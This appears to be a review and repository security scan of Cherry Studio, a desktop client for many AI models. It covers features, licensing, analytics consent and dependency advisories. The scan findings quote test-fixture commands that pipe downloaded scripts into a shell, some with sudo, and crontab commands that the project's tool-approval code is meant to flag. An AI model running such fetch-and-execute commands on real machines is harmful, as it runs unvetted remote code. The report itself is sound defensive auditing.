6 min read

Cherry Studio: One Desktop App for Every AI Model (GitHub, Scanned)

A desktop AI client for cloud and local models, with assistants, knowledge bases and MCP tools.

Cherry Studio logo
✅
Scan: safe. Nothing malicious. Two things to know: accepting the privacy policy at onboarding turns on usage analytics and crash reports, which you can switch off in Data Settings, and the Office-file parser pulls in an archive library with critical path-traversal advisories. Scanned Oct 2, 2026; the full report is below.

Cherry Studio is a desktop app for talking to many language models from one window. You add API keys for providers such as OpenAI, Gemini and Anthropic, or point it at Ollama or LM Studio for local models, and can send one prompt to several models side by side. It ships with more than 300 preconfigured assistants, reads text, images, Office files and PDFs, renders Markdown, code and Mermaid diagrams, translates, backs up over WebDAV, and connects to MCP servers for tools.

It is an Electron app for Windows, macOS and Linux that needs no environment setup, which makes it a common choice for people who want a ChatGPT-style client with their own keys and a free choice of models. Its large Chinese-speaking user base shows in the provider list and a separate CN build, but the interface and documentation are available in English.

Cherry Studio is developed by CherryHQ, has about 52,300 stars and is at version 2.1.4. The Community Edition is AGPL-3.0; a paid Enterprise Edition adds central model management, shared knowledge bases, access control and private server deployment, and a commercial licence is available for anyone who cannot meet the AGPL's terms.

  • Repository: github.com/CherryHQ/cherry-studio
  • Licence: AGPL-3.0 (GNU Affero General Public License v3.0)
  • Language: TypeScript. Stars: 52.3K. Forks: 5,034. Last push: Oct 3, 2026.
  • Scan: safe, Oct 2, 2026, commit de623b0

Who it is for

People who pay for several AI providers and want one client for all of them, local model users who want a polished front end for Ollama, and anyone who prefers a desktop app to browser tabs.

Getting started

1. macOS, with Homebrew

brew install --cask cherry-studio

2. Linux: download the AppImage from the releases page (Windows has setup and portable .exe builds there too)

chmod +x Cherry-Studio-*-linux-x64.AppImage && ./Cherry-Studio-*-linux-x64.AppImage

Nothing works until you add at least one provider in Settings, either an API key or a local Ollama or LM Studio address. Chats and keys are stored on your machine; prompts go to whichever provider you choose. ARM builds and .deb and .rpm packages are also on the releases page.

Safety scan

We cloned CherryHQ/cherry-studio at commit de623b0 on Oct 2, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • All 18 secret candidates are format strings or fakes. VertexAiService.ts and aiCore's provider utils contain the literal -----BEGIN PRIVATE KEY----- markers they use to tidy a Google service-account key you paste in; the rest are test fixtures such as xoxb-test-token and a ghp_xxxx placeholder for the output sanitiser, which redacts secrets from agent output.
  • The five pattern hits and 12 bare-IP URLs are all tests: example curl | sh and crontab commands that the tool-approval code must flag as destructive, and addresses such as 8.8.8.8, 100.64.0.1 and 255.255.255.255 that the remote-URL guard must accept or refuse.
  • We read the analytics code. AnalyticsService and Sentry run only while data collection is consented under the current policy version. The setting defaults to on, so accepting the policy during onboarding enables app-launch and token-usage analytics plus crash reports; declining turns both off, and the switch stays in Data Settings. Onboarding also offers CherryIN, the developers' own model gateway, as the first provider.
  • 225 known advisories (3 critical, 86 high) in one pnpm lockfile of 3,182 packages. The one to know is decompress 4.2.1, which arrives through officeparser, the library that reads Word, Excel and PowerPoint attachments; its critical advisories cover crafted archives writing files outside the extraction folder, so be wary of attaching Office files from strangers. The other critical, tar 6.2.1, comes with native-module build tooling.
  • 24 workflows. One, backport-release-fixes.yml, uses pull_request_target but checks out the workflow's own commit, not the pull request, and passes the PR title only through environment variables. None of the 25 third-party actions is pinned to a commit. The npm postinstall builds internal packages and prepare installs git hooks for contributors. Security policy, Dependabot, licence and contributing guide present; no CodeQL.

What the scanner counted

CheckResult
Secrets18 candidates found and read; see the notes above.
Suspicious code5 pattern hits found and read; every one is listed under the raw findings.
Install-time code2 npm lifecycle scripts
Committed binariesNone.
CI workflows24 workflows. 1 uses pull_request_target, none check out the pull request head. 25 of 25 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often api.example.com, github.com, a.com, api.openai.com. 12 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities225 advisories across 3,182 pinned packages: 3 critical, 86 high, 120 moderate, 16 low. pnpm-lock.yaml: 3,182 packages, 225 advisories.
Project hygieneHas security policy, automated dependency updates, licence file, contributing guide. Missing CodeQL.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (18, redacted)
WhereRuleMatch
packages/aiCore/src/core/providers/core/utils.ts:20private-key-----B…--- (27 chars)
packages/aiCore/src/core/providers/core/utils.ts:47private-key-----B…--- (27 chars)
packages/aiCore/src/core/providers/core/utils.ts:67private-key-----B…--- (27 chars)
packages/aiCore/src/core/providers/core/utils.ts:92private-key-----B…--- (27 chars)
src/main/ai/channels/adapters/__tests__/SlackAdapter.test.ts:108slack-tokenxoxb-t…ken (15 chars)
src/main/ai/channels/adapters/__tests__/SlackAdapter.test.ts:586slack-tokenxoxb-t…ken (15 chars)
src/main/ai/channels/security/__tests__/OutputSanitizer.test.ts:38private-key-----B…--- (31 chars)
src/main/ai/channels/security/__tests__/OutputSanitizer.test.ts:57github-tokenghp_xx…xxx (40 chars)
src/main/ai/provider/__tests__/config.test.ts:171private-key-----B…--- (27 chars)
src/main/ai/provider/__tests__/config.test.ts:308private-key-----B…--- (27 chars)
src/main/ai/provider/__tests__/config.test.ts:484private-key-----B…--- (27 chars)
src/main/ai/provider/__tests__/listModels.test.ts:1207private-key-----B…--- (27 chars)
src/main/services/VertexAiService.ts:36private-key-----B…--- (27 chars)
src/main/services/VertexAiService.ts:55private-key-----B…--- (27 chars)
src/renderer/utils/__tests__/vertexAi.test.ts:15private-key-----B…--- (27 chars)
src/renderer/utils/__tests__/vertexAi.test.ts:22private-key-----B…--- (27 chars)
src/renderer/utils/__tests__/vertexAi.test.ts:29private-key-----B…--- (27 chars)
src/renderer/utils/__tests__/vertexAi.test.ts:83private-key-----B…--- (27 chars)
Pattern hits (5)
WhereRuleMatch
src/main/ai/runtime/pi/approvalExtension.test.ts:428download-piped-to-shell['curl https://example.com/i.sh | sh', 'remote script'],
src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:18download-piped-to-shell (test/example)'curl -fsSL https://get.example.com | sh',
src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:19download-piped-to-shell (test/example)'wget -qO- https://x.dev/i.sh | sudo bash',
src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:23persistence (test/example)'crontab -r',
src/main/ai/toolApproval/__tests__/destructiveCommand.test.ts:54persistence (test/example)'crontab -l',
URLs to bare IP addresses (12)
WhereRuleMatch
docs/references/mini-app/examples/capability-tests/app.js:629ip-literal-urlawait expect('IP literal', denied, () => cherry.network.fetch({ url: 'https://93.184.216.34/' }))
src/main/services/proxy/__tests__/bypassRules.test.ts:71ip-literal-urlexpect(isByPass('http://192.169.1.1')).toBe(false)
src/main/utils/__tests__/remoteUrlSafety.test.ts:26ip-literal-url'http://8.8.8.8/file',
src/main/utils/__tests__/remoteUrlSafety.test.ts:31ip-literal-url'http://198.18.0.1/file',
src/main/utils/__tests__/remoteUrlSafety.test.ts:32ip-literal-url'http://198.19.255.255/file',
src/main/utils/__tests__/remoteUrlSafety.test.ts:66ip-literal-url['http://100.64.0.1/file', '100.64.0.1'],
src/main/utils/__tests__/remoteUrlSafety.test.ts:69ip-literal-url['http://192.0.0.8/file', '192.0.0.8'],
src/main/utils/__tests__/remoteUrlSafety.test.ts:71ip-literal-url['http://224.0.0.1/file', '224.0.0.1'],
src/main/utils/__tests__/remoteUrlSafety.test.ts:72ip-literal-url['http://240.0.0.1/file', '240.0.0.1'],
src/main/utils/__tests__/remoteUrlSafety.test.ts:74ip-literal-url['http://255.255.255.255/file', '255.255.255.255'],
src/main/utils/__tests__/remoteUrlSafety.test.ts:177ip-literal-urlawait expect(resolveRemoteFetchUrl('http://8.8.8.8/file')).resolves.toEqual({
src/main/utils/__tests__/remoteUrlSafety.test.ts:178ip-literal-urlurl: 'http://8.8.8.8/file',
npm lifecycle scripts (2)
  • package.json postinstall: pnpm --filter @cherrystudio/dsh-bridge build && pnpm --filter @cherrystudio/remote-protocol build && pnpm --filter @cherrystudio/remote-transport build
  • package.json prepare: git config blame.ignoreRevsFile .git-blame-ignore-revs && node -e "process.env.CI||require('child_process').execSync('prek install',{stdio:'inherit'})"
Worst known vulnerabilities (24 of 225)
AdvisorySeverityPackageSummary
GHSA-hrh2-vp3x-79xfcriticaldecompress@4.2.1@xhmikosr/decompress: Path traversal via symlink chain
GHSA-mp2f-45pm-3cg9criticaldecompress@4.2.1Decompress: Archive extraction can create files and links outside of the target directory
GHSA-23hp-3jrh-7fpwcriticaltar@6.2.1node-tar: Decompression/parse DoS via unlimited input
GHSA-j95f-988m-3j2fhigh@tiptap/core@3.26.1Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing
GHSA-27p8-2357-5qqvhigh@xmldom/xmldom@0.8.13xmldom: DocType `name` Injection Bypasses requireWellFormed
GHSA-4w3w-2rp5-g8jmhigh@xmldom/xmldom@0.8.13xmldom: Attribute name injection via setAttribute() bypasses requireWellFormed
GHSA-8344-3jmq-59r6high@xmldom/xmldom@0.8.13xmldom: Quadratic-time attribute deduplication
GHSA-93r5-fhx6-vmg9high@xmldom/xmldom@0.8.13xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`…
GHSA-965w-775f-mr7ghigh@xmldom/xmldom@0.8.13xmldom: Quadratic-memory consumption
GHSA-c7q8-3ch8-vqpvhigh@xmldom/xmldom@0.8.13xmldom: Processing Instruction Target Injection Bypasses requireWellFormed
GHSA-w2rr-34g9-rvrjhigh@xmldom/xmldom@0.8.13xmldom: Element name injection via createElement() bypasses requireWellFormed
GHSA-x4fp-j954-r2f4high@xmldom/xmldom@0.8.13xmldom: End-tag Whitespace-Trim Regex ReDoS - quadratic backtracking in the 0.8.x end-tag parser
GHSA-27p8-2357-5qqvhigh@xmldom/xmldom@0.9.10xmldom: DocType `name` Injection Bypasses requireWellFormed
GHSA-3px3-54cx-rmw9high@xmldom/xmldom@0.9.10xmldom: Creation-time XML Name/QName validation is bypassable via an embedded line terminator, allowing injection on the…
GHSA-4w3w-2rp5-g8jmhigh@xmldom/xmldom@0.9.10xmldom: Attribute name injection via setAttribute() bypasses requireWellFormed
GHSA-6mj3-qw4j-hgrwhigh@xmldom/xmldom@0.9.10xmldom: HTML raw-text closing-tag case mismatch causes output amplification
GHSA-8344-3jmq-59r6high@xmldom/xmldom@0.9.10xmldom: Quadratic-time attribute deduplication
GHSA-93r5-fhx6-vmg9high@xmldom/xmldom@0.9.10xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`…
GHSA-965w-775f-mr7ghigh@xmldom/xmldom@0.9.10xmldom: Quadratic-memory consumption
GHSA-c7q8-3ch8-vqpvhigh@xmldom/xmldom@0.9.10xmldom: Processing Instruction Target Injection Bypasses requireWellFormed
GHSA-g53g-w8rj-fmg7high@xmldom/xmldom@0.9.10xmldom PI grammar regex ReDoS: quadratic backtracking on unterminated processing instructions
GHSA-vr34-hp96-76pphigh@xmldom/xmldom@0.9.10xmldom: requireWellFormed DocType publicId/systemId validation is bypassable via an embedded line terminator
GHSA-w2rr-34g9-rvrjhigh@xmldom/xmldom@0.9.10xmldom: Element name injection via createElement() bypasses requireWellFormed
GHSA-7q85-xj36-vmfchighadm-zip@0.4.16adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
Workflows worth a look

By the numbers

Stars52.3K
Forks5,034
Contributors478
Commits9,363
Open issues1,117
Open pull requests592
Releases287
Latest releasev2.1.4
LicenceAGPL-3.0
Main languageTypeScript
Project age2 years
Last pushOct 3, 2026
Tracked files9,675
Lines of code1.9M
Checkout size95 MB

Lines by language: TypeScript 1.5M, JSON 308.4K, Markdown 61.1K, JavaScript 20K, YAML 6,938, CSS 4,712.

Questions

Is Cherry Studio free?

Yes. The Community Edition is AGPL-3.0 and free on Windows, macOS and Linux, commercial use included under the AGPL's terms. You pay your model providers for API use, or nothing with local models. The Enterprise Edition, with an admin backend and a private server, is sold by quote or subscription.

Does Cherry Studio work with local models?

Yes. It supports Ollama and LM Studio as providers, so a model running on your machine appears next to the cloud ones, and you can compare a local and a cloud model on the same prompt.

What does AGPL-3.0 mean for Cherry Studio users?

Using the app, at home or at work, carries no special obligations. The AGPL matters if you modify Cherry Studio and distribute it or offer it to others over a network: then you must publish your changes under the same licence, or buy a commercial licence from the developers.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.